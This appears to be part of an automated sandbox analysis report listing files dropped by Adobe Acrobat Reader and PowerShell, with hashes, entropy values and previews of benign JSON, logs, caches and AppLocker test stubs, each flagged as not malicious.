SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJfbPtdPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGDV8Ukee9
MD5:	428745D41DAB0EC372634C73D278B5BA
SHA1:	10023D9858FA1E71E00189D2A5EA24ABD47CE6B5
SHA-256:	02DB470FA317252E2B7B84208DDE3AD473717850E0C1E3359D5DFFD7B6B32C9C
SHA-512:	AE4AA4E61470318CED6F66D9E61812F110248CF05485000C75D9A7521A26D832952358CAB14C6ED90E99C5E3FEBCE47EFCD15590560EFDC91EFBCE186E2B5B46
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.252897492550333
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJf21rPeUkwRe9:YvXKX1+VkpvR/ZwHAtZG+16Ukee9
MD5:	A8712E412A1792EF19B7271B31347C80
SHA1:	6AEAC5B8399A2808D20D2262918C4BE14225F791
SHA-256:	80FA070A22003E2247CE531BC0A78F5E3BA361CAF8956056A634C2328BE5ABCC
SHA-512:	5E89CF36E53B7CF59FA69B8F958DBB8A8D50D4C76C38CE73C23AD42ED4BCEA1D82E72683557CD42DD558B065658A8A84167E2D6598C23586D5F77806DD635BCB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661707599901109
Encrypted:	false
SSDEEP:	24:Yv6XFpJhwamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSI:YvCJh2BgkDMUJUAh8cvMI
MD5:	6EFE1B6581850FE276A388B4244E9AC0
SHA1:	3238B56DD57E4D5102A30DF5563881811B09C04D
SHA-256:	E00A8C5A454DC0AC437056057322FE6225735F9C12FF470FE0DD6631E0C730F2
SHA-512:	DF020D824BC7FE09613A71CFE9E5B096EFAC160DD6999EFE841DCB9938D66F063DBA4FF324D3E8B7218D339B3D491C34736152FC63E7F54456CA53B30F7A5FDF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.227275603138294
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJfshHHrPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGUUUkee9
MD5:	2C3CC40CE20BE910CF5A316E7AF83924
SHA1:	7ED8ADC548D7EB0C5457B64126692EC7DCFD5EE9
SHA-256:	751FDE5C369718F1705867487919B2A81A81DC23828E432CB28DE2F5FB769966
SHA-512:	F35C623DBAF7BC6EB3ACD915750208B4173D39D12096B1CF24DD30405765015443DF0503B1EE0DC10E3F9E5EA00B4CA3FBF95BDE3EF9614FC583B014FB6A9E01
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.242460866039674
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJTqgFCrPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGTq16Ukee9
MD5:	A3A12E856CE6094D98D229954F4DA42F
SHA1:	D8DB03E546DA6A4DD2C318B4754B256E956A4DBC
SHA-256:	C50394363623D99818E7CCA12488ED8441A8CFBBCDB4001F761B60895AE64533
SHA-512:	14EFBC05797A24BF3C59FEB4E5E6AD1C2D13A0399FECEA856E44D830A07DF75D080FC734D5C9CF350DEEAC541206AC77F27FF473BA34176D4FF208C506E885AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135056815398995
Encrypted:	false
SSDEEP:	48:YQM5ooGDYFymDyqpx3WoO9PJXTns6vtrLIuoL9jRK:NM5ooGDYFymDyqpx3Wd9hDnvtrLIxZjg
MD5:	71282647B7B3B51E83300C173948ACEE
SHA1:	523C76B0F310C538A40D6A083388B432B58ABB9E
SHA-256:	7F56B78B8C129E30416B0046C40075075BB20C6881F9A331D06960799050B916
SHA-512:	F158E5405770477F3473A149B6BC56D1AF576F7B8A19BC17871A2A5C4610908305D0C3F6EF8AD2C0AB60053779D5FD0A6DA75961985BEB3408FAE143D006A73F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"921f5db6109c414e9debf2fcd214aff0","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736579152000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7755f7b756f9cbb2a5f9a9bae1aaabba","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736579152000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"503bdf9f5e2961d2af87f1bd6fd79e5c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736579152000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c665ab740967af87047e882d54ad2d70","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736579152000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a87690b5bed5ca814451ac3936fa0878","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736579152000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ff34e43a80f965a797ca055ecd260b14","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3189168513784089
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMestqVpaH:TGufl2GL7ms9WR1CPmPbPahGypilIS
MD5:	7C59EF9D8869FC138E7BFBF80A996DD6
SHA1:	A78E6A4AAF7442469E8BCB102702042D35B69B8A
SHA-256:	A2E2CBDA037C437CAED19E1DC73BBCB019A8F7B8B86D2C0FC5A66E606B99B319
SHA-512:	254CBCAF3701DC8A4AC1F18BCED19656F2F9D5B5045A3B680515CB06698D2A9298A0DE80D32F62302902680E43B1D47A2365B9A473D0F3E71D22928A38924C50
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7783258709550178
Encrypted:	false
SSDEEP:	24:7+tjlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMes4qVpaVrScVr0InZqLhx/X9:7MIWR1CPmPbPah/ypilIkqFl2GL7msL
MD5:	7AF793B2993BE247DF351E8B501077E8
SHA1:	5B4103B1D8C1B874F94D3C96FD44D9706C343BAC
SHA-256:	20ADE4D45E2B7ECBAC1954592985F628A3D95832ECB1FAB15511AEBD1258AE2C
SHA-512:	92E21028EC53CCBD68AFF982845ABE5A535B18DD66841B4D3CA674F3CEE95C14C2EE9703DAB8563D897F7BD2B8645E3DCAD36B3352D3F20AD2A9402BFB2F5741
Malicious:	false
Preview:	.... .c.....HL.1..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg8rIVSyi/+G3+e4IUE0/YXywqLYyu:6a6TZ44ADE8rIVS5/+GPXylLK
MD5:	35DFE86EA71BB1D8AFCE1D4B6290B490
SHA1:	4474C03ACA82574D4DF9A7B83FAB683FBEB984D8
SHA-256:	DD29251DF24333375C594DCC0A1992719193E57C80D7CEE8CE3F4B4E30E70D22
SHA-512:	07DE1BB4EEDFFA5A057FDFF7B8E5859C90B7F97031E0FFAE338DE2036B47380487088A5882445E88D9940C485B09C3352D97AA8726CF561CD8C6265C677D3C03
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa4481.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4841540457826223
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl4lNQWH:Qw946cPbiOxDlbYnuRKd3h
MD5:	72CFE7101726D73C5BC1DA80F6700395
SHA1:	96DF5335A10C62C717F2037B0F8709A7AD09EA8C
SHA-256:	262A9D52FC94A59ADF5F414A593EBF32ADECC64BFD7CAEF14EFC3C4897A04F15
SHA-512:	96D72753B4A90AE98FA22488E353E647F90C541CB51A4D6F546CB68C4F83BEB5F8C5440D9AF956E4B167058910391641EAD38E89A2DED6C35448B657F05762CC
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.0.5.:.5.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cezt3reh.45y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t3mfwzl1.vie.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-05-46-451.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.349545505147913
Encrypted:	false
SSDEEP:	384:kxPU3xWRoVPbTEFbUC9tJ0YVhCeNsfnJwTJlXP/WjnQ71OfQr2EVrSr+nV3AmfvC:Cwt
MD5:	F02463D611AB08B0F58F1929EDD8D5BB
SHA1:	0A197B97F764E36DDCBBB4C19C74850043EABF25
SHA-256:	601389DB708ED414E2C1743B92D068DFF58D4377A703D7F6E8F469D1265C1739
SHA-512:	B76DD2C10F111EBAD3AA5C293023BD9A73C76BBAF84A8C588184554AA83FEF7E65DF15CD00C8927F1DAC0B1AE4C0F4F652B812D2D7CF9BB3FCEE27C2EB5930C6
Malicious:	false
Preview:	SessionID=319ceb43-61d2-4f53-a4bb-0a57226d2656.1736579146461 Timestamp=2025-01-11T02:05:46:461-0500 ThreadID=7388 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=319ceb43-61d2-4f53-a4bb-0a57226d2656.1736579146461 Timestamp=2025-01-11T02:05:46:463-0500 ThreadID=7388 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=319ceb43-61d2-4f53-a4bb-0a57226d2656.1736579146461 Timestamp=2025-01-11T02:05:46:463-0500 ThreadID=7388 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=319ceb43-61d2-4f53-a4bb-0a57226d2656.1736579146461 Timestamp=2025-01-11T02:05:46:463-0500 ThreadID=7388 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=319ceb43-61d2-4f53-a4bb-0a57226d2656.1736579146461 Timestamp=2025-01-11T02:05:46:463-0500 ThreadID=7388 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.406586519617446
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbGcbAAwIMAAxAXcb5:ceo4+rsCOAtMAAxAU
MD5:	85EF862CA3628DAD3D9D178B0424E345
SHA1:	D5322B256B36E4B9A9D1042874C2434104C9F5AC
SHA-256:	554FEDA82487688005CEADB5AF695C9FBF1A7642D505E425AB0B41066AEBCCB5
SHA-512:	77BA37BD90D7180C3CD1C932B6428B4CA788C7B17379BEF8C783B5FBDC6EC5B4B676247F9F65F0D6EC0AC8600D6A9EA74B7A2808FE12B7B245FCEB729F793F57
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\8924fdaf-c678-4ac8-86cb-bbe66c48c0ca.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\958c94f2-2673-43a8-952c-928d056fd50b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\97142236-dcc7-4dc9-b9ad-e332643f719b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
